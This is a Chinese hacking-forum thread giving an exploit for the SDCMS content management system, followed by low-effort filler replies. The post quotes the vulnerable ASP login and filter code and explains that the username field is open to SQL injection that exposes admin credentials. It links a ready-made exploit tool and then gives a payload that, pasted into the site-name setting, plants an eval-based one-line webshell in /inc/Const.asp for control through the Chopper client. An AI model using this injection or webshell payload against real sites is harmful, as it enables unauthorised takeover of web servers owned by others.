查看: 7029|回复: 25

SDCMS通杀漏洞利用工具及提权拿SHELL

[复制链接]
发表于 2012-11-9 03:24:39 | 显示全部楼层 |阅读模式

作者:T00LS 鬼哥
漏洞文件:后台目录/index.asp

Sub Check    Dim username,password,code,getcode,Rs    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub    username=FilterText(Trim(Request.Form("username")),1)    password=FilterText(Trim(Request.Form("password")),1)    code=Trim(Request.Form("yzm"))    getcode=Session("SDCMSCode")    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)":Died    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)":Died    IF username="" or password="" Then        Echo "用户名或密码不能为空":Died    Else        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")        IF Rs.Eof Then            AddLog username,GetIp,"登录失败",1            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"        Else            Add_Cookies "sdcms_id",Rs(0)            Add_Cookies "sdcms_name",username            Add_Cookies "sdcms_pwd",Rs(2)            Add_Cookies "sdcms_admin",Rs(3)            Add_Cookies "sdcms_alllever",Rs(4)            Add_Cookies "sdcms_infolever",Rs(5)            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")            AddLog username,GetIp,"登录成功",1            '自动删除30天前的Log记录            IF Sdcms_DataType Then                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")            Else                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")            End IF            Go("sdcms_index.asp")        End IF        Rs.Close        Set Rs=Nothing    End IFEnd Sub’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码Function FilterText(ByVal t0,ByVal t1)    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function    t0=Trim(t0)    Select Case t1        Case "1"            t0=Replace(t0,Chr(32),"")            t0=Replace(t0,Chr(13),"")            t0=Replace(t0,Chr(10)&Chr(10),"")            t0=Replace(t0,Chr(10),"")        Case "2"            t0=Replace(t0,Chr(8),"")'回格            t0=Replace(t0,Chr(9),"")'tab(水平制表符)            t0=Replace(t0,Chr(10),"")'换行            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)            t0=Replace(t0,Chr(12),"")'换页            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合            t0=Replace(t0,Chr(22),"")            t0=Replace(t0,Chr(32),"")'空格 SPACE            t0=Replace(t0,Chr(33),"")'!            t0=Replace(t0,Chr(34),"")'"            t0=Replace(t0,Chr(35),"")'#            t0=Replace(t0,Chr(36),"")'$            t0=Replace(t0,Chr(37),"")'%            t0=Replace(t0,Chr(38),"")'&            t0=Replace(t0,Chr(39),"")''            t0=Replace(t0,Chr(40),"")'(            t0=Replace(t0,Chr(41),"")')            t0=Replace(t0,Chr(42),"")'*            t0=Replace(t0,Chr(43),"")'+            t0=Replace(t0,Chr(44),"")',            t0=Replace(t0,Chr(45),"")'-            t0=Replace(t0,Chr(46),"")'.            t0=Replace(t0,Chr(47),"")'/            t0=Replace(t0,Chr(58),"")':            t0=Replace(t0,Chr(59),"")';            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>            t0=Replace(t0,Chr(63),"")'?            t0=Replace(t0,Chr(64),"")'@            t0=Replace(t0,Chr(91),"")'\            t0=Replace(t0,Chr(92),"")'\            t0=Replace(t0,Chr(93),"")']            t0=Replace(t0,Chr(94),"")'^            t0=Replace(t0,Chr(95),"")'_            t0=Replace(t0,Chr(96),"")'`            t0=Replace(t0,Chr(123),"")'{            t0=Replace(t0,Chr(124),"")'|            t0=Replace(t0,Chr(125),"")'}            t0=Replace(t0,Chr(126),"")'~    Case Else        t0=Replace(t0, "&", "&")        t0=Replace(t0, "'", "'")        t0=Replace(t0, """", """)        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")    End Select    IF Instr(Lcase(t0),"expression")>0 Then        t0=Replace(t0,"expression","e xpression", 1, -1, 0)    End If    FilterText=t0End Function看到没。直接参数是1 只过滤                        t0=Replace(t0,Chr(32)," ")                        t0=Replace(t0,Chr(13),"")                        t0=Replace(t0,Chr(10)&Chr(10),"")                        t0=Replace(t0,Chr(10),"")

漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP

测试:

现在输入工具上验证码,然后点OK

看到我们直接进入后台管理界面了,呵呵!

这样直接进入后台了。。。。


SDCMS提权:

方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?

OK,现在用菜刀连接下!

发表于 2014-9-16 21:35:43 | 显示全部楼层
拿分走人呵呵,楼下继续!
发表于 2014-9-17 07:14:27 | 显示全部楼层
一楼的位置好啊..  
发表于 2014-10-26 12:58:30 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2014-11-5 22:14:14 | 显示全部楼层
赚点分不容易啊  
发表于 2014-11-18 12:37:18 | 显示全部楼层
挤在北京,给首都添麻烦了……  
发表于 2014-12-6 07:40:24 | 显示全部楼层
(*^__^*) 嘻嘻……   
发表于 2014-12-29 12:15:14 | 显示全部楼层
回答了那么多,没有加分了,郁闷。。  
发表于 2015-1-29 09:13:02 | 显示全部楼层
人气还要再提高  
发表于 2015-3-3 09:57:29 | 显示全部楼层
人气还要再提高  
高级模式
B Color Image Link Quote Code Smilies

本版积分规则